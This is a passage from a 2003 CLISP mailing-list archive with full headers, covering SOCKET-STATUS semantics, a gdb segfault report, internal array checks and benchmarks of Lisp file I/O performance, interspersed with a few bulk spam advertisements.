4 4 segfault if you debug this segfault, you will have a working WITH-TIMEOUT. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Growing Old is Inevitable; Growing Up is Optional. From sds@gnu.org Thu Jan 30 11:41:51 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eKZL-0007It-00 for ; Thu, 30 Jan 2003 11:41:51 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030130194141.XLWA21001.pop015.verizon.net@loiso.podval.org>; Thu, 30 Jan 2003 13:41:41 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0UJhrSM021466; Thu, 30 Jan 2003 14:43:53 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0UJhqx0021462; Thu, 30 Jan 2003 14:43:52 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: proposed modifications to SOCKET-STATUS References: <15928.40941.801354.633909@isis.cs3-inc.com> <15929.25380.503228.789126@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15929.25380.503228.789126@isis.cs3-inc.com> Message-ID: Lines: 113 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.48.207] at Thu, 30 Jan 2003 13:41:40 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 11:42:11 2003 X-Original-Date: 30 Jan 2003 14:43:51 -0500 please look at before replying to this message. > * In message <15929.25380.503228.789126@isis.cs3-inc.com> > * On the subject of "[clisp-list] Re: proposed modifications to SOCKET-STATUS" > * Sent on Thu, 30 Jan 2003 09:38:44 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > I cannot: if the status happens to be :input, then the next call will > > check the status only in the input direction. > > I think (hope) we're complaining about the same thing here. > I think you should be able to do: > (setf arg (list (list stream))) > (socket-status arg) > and if arg is now (( . :output)) > you should be able to again do > (socket-status arg) > with the possibility of ending up with arg being (( . :io)) > That is, the list element ( . nil) is interpreted as > ( . x) where x is to be replaced, and in fact, so is > ( . :input) or any other ( . x) where x is one > of the possible outputs. The fact that we have to distinguish here > the case of x being :output vs (:output) is why I suggested that > this case be eliminated and replaced by > ( <:input/:output/:io> . x) I am confused. Unambiguous arguments are: (stream direction . x) and stream how should (stream . :input) be interpreted? I argue for a backward compatible interpretation (which is tenuous since the backward compatibility has been broken already by higher status granularity). > > > It's also an error to supply a list where some elements are of that > > > form and others are not? > > > > no - but the only way to avoid consing is to have all elements in the > > specified form. > So if one has that form and another doesn't then no smashing is done > and you get mapcar behavior? Or you smash the ones with the right > format and still return a new list? I think it would be more useful > to generate an error in the mixed case. Otherwise people who > generate mixed cases accidentally are going to be very confused. right now we so "smashing" whenever possible and cons a list whenever necessary. (please make sure this is actually the case :-) > > > The second value returned is the number of objects with non-NIL > > > status, i.e., "actionable" objects. > > > This is for both cases of lists (mapcar and destructive) ? > > > > of course - why would you think otherwise?! > Even if I did think it was obvious, obvious doesn't always imply correct. > > I take it the first value in the smashing case is the input list? > (That's a little more obvious, but still worth saying.) it does say that: If you want to avoid CONSing up a fresh list, you can make the elements of socket-stream-or-list to be (socket-stream direction . x) or (socket-stream) or (socket-server). Then SOCKET:SOCKET-STATUS will destructively modify its argument and replace x or NIL with the status and return the modified list. > > > Why is that not waiting for input? > > huh? > This is what I don't understand: > Note that this function never waits for input or output to arrive, > only for information on input or output presence this is a quote from the select(2) manual. > Perhaps it should be something like: > The only case where this function waits at all is when the answer > for every stream/direction argument would be nil. > (Is that true? Or does it wait if ANY answer would be nil?) yes. The second value returned is the number of objects with non-NIL status, i.e., "actionable" objects. SOCKET:SOCKET-STATUS returns either due to a timeout or when this number is positive, i.e., if the timeout was NIL and SOCKET:SOCKET-STATUS did return, then the second value is positive. > > why don't you play with SOCKET-STATUS a little bit and see whether it > > does what you expect? > You suggest blind search, and that only to see what one particular > implementation does, whereas I really want a spec. I suggest that you __TEST__ CLISP. It is important to discuss the spec, but it is also important to check that the code works. When you say "let's change the spec like this", please do supply a test case where CLISP works against your desires. And don't tell me "spec first". :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux UNIX is a way of thinking. Windows is a way of not thinking. From don-sourceforge@isis.cs3-inc.com Thu Jan 30 12:21:44 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eLBr-0006iB-00 for ; Thu, 30 Jan 2003 12:21:39 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h0UKJL802934; Thu, 30 Jan 2003 12:19:21 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15929.35017.250157.209762@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: proposed modifications to SOCKET-STATUS In-Reply-To: References: <15928.40941.801354.633909@isis.cs3-inc.com> <15929.25380.503228.789126@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 12:22:26 2003 X-Original-Date: Thu, 30 Jan 2003 12:19:21 -0800 > Unambiguous arguments are: > (stream direction . x) > and > stream > > how should (stream . :input) be interpreted? > I argue for a backward compatible interpretation (which is tenuous since > the backward compatibility has been broken already by higher status > granularity). I finally understand - this is backward compatible. In that case I suggest that it NOT be acceptable for the smashing case. (I'd also be happy if it were not acceptable at all.) > right now we so "smashing" whenever possible and cons a list whenever > necessary. (but never a combination) > > > > Why is that not waiting for input? > > > huh? > > This is what I don't understand: > > Note that this function never waits for input or output to arrive, > > only for information on input or output presence > > this is a quote from the select(2) manual. not in mine (linux) - I wonder what it means > > Perhaps it should be something like: > > The only case where this function waits at all is when the answer > > for every stream/direction argument would be nil. > > (Is that true? Or does it wait if ANY answer would be nil?) > > yes. I take it you think "every" is right. I must say the select doc leaves something to be desired too. It says "waits for a number of file descriptors to change status." That seems to mean that if you use only fds that are both readable and writable then it waits (since this status doesn't change) but I'd expect from the point of view of what's useful for it to return immediately, i.e., it waits for the following condition: some fd in the input set is readable or some fd in the output set is writable or some fd in the exception set has an exception So if timeout >0 then the answer should either be 0 (and the timeout has been reached) or 1 (unless multiple status changes can happen at once). From yuri%yk.udmts.elektra.ru@udmts.elektra.ru Thu Jan 30 22:26:29 2003 Received: from aps.mark-itt.ru ([217.14.192.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eUd4-0001Kl-00 for ; Thu, 30 Jan 2003 22:26:22 -0800 Received: from [195.161.198.81] (HELO proxy.udmene.ru) by aps.mark-itt.ru (CommuniGate Pro SMTP 4.0.5) with ESMTP-TLS id 38996662 for clisp-list@lists.sourceforge.net; Fri, 31 Jan 2003 10:26:13 +0400 Received: from id2.udmene.elektra.ru (id2.udmene.elektra.ru [192.168.30.206]) by proxy.udmene.ru (8.11.3/8.11.3) with ESMTP id h0V6QAb80183 for ; Fri, 31 Jan 2003 10:26:11 +0400 (SAMT) (envelope-from yk.udmts.elektra.ru!yuri@udmts.elektra.ru) Received: from id2.udmene.elektra.ru (root@localhost) by id2.udmene.elektra.ru (8.12.3/8.12.3) with SMTP id h0V6Pwc6024748 for ; Fri, 31 Jan 2003 11:25:58 +0500 Received: from id2.udmene.elektra.ru (localhost [127.0.0.1]) by id2.udmene.elektra.ru (8.12.3/8.12.3) with ESMTP id h0V6PvoF024731 for ; Fri, 31 Jan 2003 11:25:57 +0500 Received: from udmts.elektra.ru (uucp@localhost) by id2.udmene.elektra.ru (8.12.3/8.12.3/Submit) with UUCP id h0V6PuYw024730 for clisp-list@lists.sourceforge.net; Fri, 31 Jan 2003 11:25:56 +0500 Received: from yk.udmts.elektra.ru by bc.udmts.elektra.ru with smtp (Linux Smail3.2.0.111 #2) id m18eUcn-000qQCC; Fri, 31 Jan 2003 10:26:05 +0400 (SAMT) Received: (from yuri@localhost) by yk.udmts.elektra.ru (8.9.3/8.9.3) id KAA05921 for clisp-list@lists.sourceforge.net; Fri, 31 Jan 2003 10:26:04 +0400 From: Yuri Kostylev Message-Id: <200301310626.KAA05921@yk.udmts.elektra.ru> To: clisp-list@lists.sourceforge.net X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] clisp 2.30 error problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 30 22:34:32 2003 X-Original-Date: Fri, 31 Jan 2003 10:26:04 +0400 (SAMT) Hello! >> >> But... what does it mean: >> >> WARNING: >> DEFUN/DEFMACRO(LAMBDA): # is locked >> Ignore the lock and proceed >> WARNING: >> DEFUN/DEFMACRO(FUNCALL): # is locked >> Ignore the lock and proceed > this is fine during "make check" (which is done implicitly during > "./configure --build") >> *** - > this is a start of an error message > 1. what is your language setup? (LANG=? &c) > $ clisp -x '*current-language*' ENGLISH > 2. can CLISP display your characters on your terminal? > $ clisp -x '(error)' It can > 3. try "clisp -L english". same result >> .. here my system loaded awfully > run under gdb and try C-c. [root@yk cl-support]# gdb /usr/bin/clisp GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) run Starting program: /usr/bin/clisp Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001690 in _start () at rtld.c:138 rtld.c:138: No such file or directory. (gdb) ----- [root@yk cl-support]# gdb /usr/local/clisp/2.30/lib/clisp/base/lisp.run GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Dwarf Error: Cannot handle DW_FORM_strp in DWARF reader. (gdb) run -M /usr/local/clisp/2.30/lib/clisp/base/lispinit.mem Starting program: /usr/local/clisp/2.30/lib/clisp/base/lisp.run -M /usr/local/clisp/2.30/lib/clisp/base/lispinit.mem Error while reading shared library symbols: : No such file or directory. Segmentation fault (core dumped) From sds@gnu.org Fri Jan 31 13:08:35 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18eiOp-0007pN-00 for ; Fri, 31 Jan 2003 13:08:35 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030131210828.VKLM20431.pop016.verizon.net@loiso.podval.org>; Fri, 31 Jan 2003 15:08:28 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0VLAwSM027461; Fri, 31 Jan 2003 16:10:58 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0VLAwOg027457; Fri, 31 Jan 2003 16:10:58 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bruno Haible , Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.48.207] at Fri, 31 Jan 2003 15:08:28 -0600 Subject: [clisp-list] [i]array_displace_check() Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 31 13:09:04 2003 X-Original-Date: 31 Jan 2003 16:10:57 -0500 iarray_displace_check() differes from array_displace_check() by only one check in the beginning. shouldn't the former be dropped and replaced with the latter?! (the potential performance hit from the extra check might be made up for by the smaller code size :=) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Our business is run on trust. We trust you will pay in advance. From offer1@cfl.rr.com Fri Jan 31 20:38:21 2003 Received: from ms-smtp-01.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18epQ3-0003D8-00 for ; Fri, 31 Jan 2003 20:38:19 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by ms-smtp-01.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h114ZVHN017291 for ; Fri, 31 Jan 2003 23:38:18 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: Mike To: clisp-list@sourceforge.net Message-ID: <200313185101clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 31 20:39:03 2003 X-Original-Date: Fri, 31 Jan 2003 23:38:21 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From offer1@cfl.rr.com Sat Feb 01 11:49:14 2003 Received: from ms-smtp-02.tampabay.rr.com ([65.32.1.39]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18f3dY-0000Iw-00 for ; Sat, 01 Feb 2003 11:49:12 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by ms-smtp-02.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h11JiFJl010391 for ; Sat, 1 Feb 2003 14:49:09 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: Mike To: clisp-list@sourceforge.net Message-ID: <20032153351clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 1 11:50:15 2003 X-Original-Date: Sat, 01 Feb 2003 14:49:11 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From offer1@cfl.rr.com Sat Feb 01 11:49:17 2003 Received: from ms-smtp-02.tampabay.rr.com ([65.32.1.39]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18f3db-0000J0-00 for ; Sat, 01 Feb 2003 11:49:15 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by ms-smtp-02.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h11JiFJm010391 for ; Sat, 1 Feb 2003 14:49:09 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: Mike To: clisp-list@sourceforge.net Message-ID: <20032153353clisp-list@clisp.cons.org> Subject: [clisp-list] Know More About Identity Theft Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 1 11:50:15 2003 X-Original-Date: Sat, 01 Feb 2003 14:49:13 -0600 Would you like to know more about identity theft and the internet, and how to stop it? Simply reply to this email with " Identity Theft" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From sandybbott@lycos.com Wed Feb 05 22:20:34 2003 Received: from [203.113.86.100] (helo=lycos.com ident=CacheFlow Server) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18gfOj-00063w-00 for ; Wed, 05 Feb 2003 22:20:34 -0800 Message-ID: <001000c6cb86$add40520$53556277@aydcobyetwg.yeda> From: To: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00E5_38B72D6E.E5884E85" X-Priority: 3 X-Mailer: QUALCOMM Windows Eudora Version 5.1 Importance: Normal Subject: [clisp-list] Attn: Protect Your Computer,You Need Systemworks2003! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 5 22:21:05 2003 X-Original-Date: Thu, 06 Feb 2003 14:52:32 -0900 ------=_NextPart_000_00E5_38B72D6E.E5884E85 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 Y2xpc3AtbGlzdCwgUHJvdGVjdCBZb3VyIENvbXB1dGVyIEZyb20gVW53YW50 ZWQgQW5kIEhhemFyZG91cyBWaXJ1c2VzISENCg0KTm9ydG9uIFN5c3RlbVdv cmtzIDIwMDMgU29mdHdhcmUgU3VpdGUgKFByb21vLVVRRzg1NCkNCg0KQUxM IEZJVkUgLSBGZWF0dXJlLVBhY2tlZCBVdGlsaXRpZXMgRm9yIE9ubHkgJDM5 Ljk5DQoNCiEgLSBOb3J0b24gQW50aVZpcnVzIDIwMDMJDQohIC0gTm9ydG9u IEdob3N0IDIwMDMNCiEgLSBHb0JhY2sgMyBQZXJzb25hbCBFZGl0aW9uCQ0K ISAtIE5vcnRvbiBVdGlsaXRpZXMgMjAwMw0KISAtIE5vcnRvbiBDbGVhblN3 ZWVwIDIwMDMNCg0KT25seSAkMzkuOTkhIChTaGlwcGluZyBpcyBpbmNsdWRl ZCEpDQoNCk9yZGVyIFlvdXJzIFRvZGF5ISANCmh0dHA6Ly9hbnRpdmlydXNz aXRlLmNvbS9uc3czOC5odG0/QU5USXZpcnVzPUFLDQoNCklmIHlvdSBkbyBu b3Qgd2lzaCB0byByZWNlaXZlIGZ1cnRoZXIgbWFpbGluZ3MsIHBsZWFzZSB2 aXNpdCANCnRoZSBsaW5rIGJlbG93LiBXZSBob25vciBhbGwgcmVtb3ZhbCBy ZXF1ZXN0cy4gU3VibWl0IHlvdXIgcmVxdWVzdCBhdDoNCmh0dHA6Ly9hbnRp dmlydXNzaXRlLmNvbS9nb29kYnllLmh0bWw/aWQ9SjENCjA0NzBOckN1NC00 MzZmSW9nMDc3M0ZZU3U1LTcxOVJOSFc1MzcwYnlWRDYtNzg0TWpiRjI2NTJx YkhqMy0yODNxVEhYMmw2NQ== From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 06 08:22:05 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18gomp-000464-00 for ; Thu, 06 Feb 2003 08:22:03 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 6 Feb 2003 17:21:54 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1GFFA6P3>; Thu, 6 Feb 2003 17:21:54 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01E2A912@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] fastest (character) based io with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 6 08:23:02 2003 X-Original-Date: Thu, 6 Feb 2003 17:21:53 +0100 Hi, I wish to outperform a perl application. It has processing some = logfiles (>100MB). I wish to show how using Lisp makes real software = fun, somewhat easy to validate (understandable?) and efficient and = worthwhile to dumb customers. What's your experience about fastest possible IO with CLISP? Is character-based i/o much slower than using (unsigned-byte 8) (i.e. = should I work on ASCII codes, emulate read-line etc.? What's the influence of built-in unicode and encodings on the speed? = Should I compile --without-unicode so that strings internally take only = 1 byte per character? Is using READ-CHAR-SEQUENCE much faster than READ-LINE? On a Linux box, time wc -l foo.log (23MB) takes 0.2 seconds. That's a = lower bound on what I can expect :-) In my test, log.txt has 50.562.702 bytes: (defun test (&optional (logfile "log.txt")) (time (with-open-file (stream logfile :direction :input #+CLISP :buffered #+CLISP T :element-type 'character :external-format charset:iso-8859-1) (loop for line =3D (read-line stream nil nil) for line-count from 0 while line finally return line-count)))) (compile 'test) (time (test)) ;;; Datei mit read-line lesen Real time: 13.594 sec. Run time: 13.171875 sec. Space: 102802424 Bytes GC: 196, GC time: 0.671875 sec. Note how Space is roughly twice the size of my logfile. Please share your experience! Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 07 07:37:22 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hAZ6-0003Xf-00 for ; Fri, 07 Feb 2003 07:37:20 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 7 Feb 2003 16:37:12 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1GFFCQY6>; Fri, 7 Feb 2003 16:37:09 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01E2AC02@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Re: fastest (character) based io with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 07:38:07 2003 X-Original-Date: Fri, 7 Feb 2003 16:37:07 +0100 Hi, I asked >What's your experience about fastest possible IO with CLISP? I now did some experiments. I found one culprit which is consuming = almost all the time: POSITION (and all sequence functions). >Is using READ-CHAR-SEQUENCE much faster than READ-LINE? A loop using read-byte-sequence (not -char-) using (unsigned-byte 8) = took 3 seconds for reading a 50MB file Real time: 3.360564 sec. Run time: 0.67 sec. =20 Space: 72212 Bytes but 17 seconds for read-line (and magnitudes more GC). Real time: 17.933756 sec. =20 Run time: 16.18 sec. =20 Space: 203_229_604 Bytes =20 GC: 388, GC time: 0.67 sec. There's some room for improvement here. I also don't know why reading 50MB from a file consumes 4 times this GC = space (on UNIX, only 2 on MS-Windows). Now where does POSITION jump in? See below: In another experiment, I read a 23MB file using read-line: Real time: 8.689632 sec. =20 Run time: 8.12 sec. =20 Space: 96764244 Bytes =20 GC: 185, GC time: 0.45 sec. Then I added a call to SPLIT-LOG-LINE (code below) on each result of = read-line Real time: 40.52663 Sec. =20 Run time: 40.34 sec. =20 Space: 98_104_624 Bytes =20 GC: 187, GC time: 0.63 sec. That's a lot of time. When one looks at the internals, the built-in = function POSITION in written in a very generic and operates on = sequences. As a result, there's *a lot* of overhead. A specialized = strindex() would be much much faster. Similarly, (concatenate 'string strings...) is much much slower than = (ext:string-concat strings) - I believe because of the same apparently = immense "step through every element of the sequences one by one" = overhead (see src/sequence.d). Adding the actual log-file analysis (e.g. Top-N) merely added 5 seconds = of processing time: that's negligible. FWIW, I have written the code in a DSL approach which compiles (when (and (column-op action =3D "accept") (column-op type =3D "account") down to (string=3D line "account" :start1 (column-index 'action) :end1 ...) I.e. I found it important that no more strings (->GC) be created.=20 (Column-index C)are really compile-time constants, since the ordering = of columns in the log-file is known after the header-line has been = read. Please share your experience! There's obviously room for improvement! Regards, J=F6rg H=F6hle. (defun split-log-line (line starts stops &optional (line-start 0) = (line-end nil)) "Stores positions of ;-separated fields in the given arrays." (loop for i from 0 for start =3D line-start then (1+ stop) for stop =3D (position #\; line :start start :end line-end) with max =3D (length starts) when (=3D i max) do (error "Too many columns") do (setf (aref starts i) start (aref stops i) (or stop line-end (length line))) ;TODO (error "Not enough columns") while stop)) ;(split-log-line .line. .start-positions. .stop-positions.) ;(split-log-line "a;b" (make-array 1) (make-array 1)) From lisp-clisp-list@m.gmane.org Fri Feb 07 07:44:27 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18hAfx-0004Yy-00 for ; Fri, 07 Feb 2003 07:44:25 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18hAdt-0000l9-00 for ; Fri, 07 Feb 2003 16:42:17 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18hAdt-0000l0-00 for ; Fri, 07 Feb 2003 16:42:17 +0100 From: Sam Steingold Organization: disorganization Lines: 91 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE01E2A912@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: fastest (character) based io with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 7 07:45:02 2003 X-Original-Date: 07 Feb 2003 10:44:36 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE01E2A912@G8PQD.blf01.telekom.de> > * On the subject of "fastest (character) based io with CLISP?" > * Sent on Thu, 6 Feb 2003 17:21:53 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Is character-based i/o much slower than using (unsigned-byte 8) > (i.e. should I work on ASCII codes, emulate read-line etc.? probably not. > What's the influence of built-in unicode and encodings on the speed? > Should I compile --without-unicode so that strings internally take > only 1 byte per character? no. > Is using READ-CHAR-SEQUENCE much faster than READ-LINE? READ-CHAR-SEQUENCE boils down to a single read(2). READ-LINE is one char at a time, which should _NOT_ matter for buffered streams. > On a Linux box, time wc -l foo.log (23MB) takes 0.2 seconds. That's a > lower bound on what I can expect :-) > > In my test, log.txt has 50.562.702 bytes: > > (defun test (&optional (logfile "log.txt")) > (time (with-open-file (stream logfile :direction :input > #+CLISP :buffered 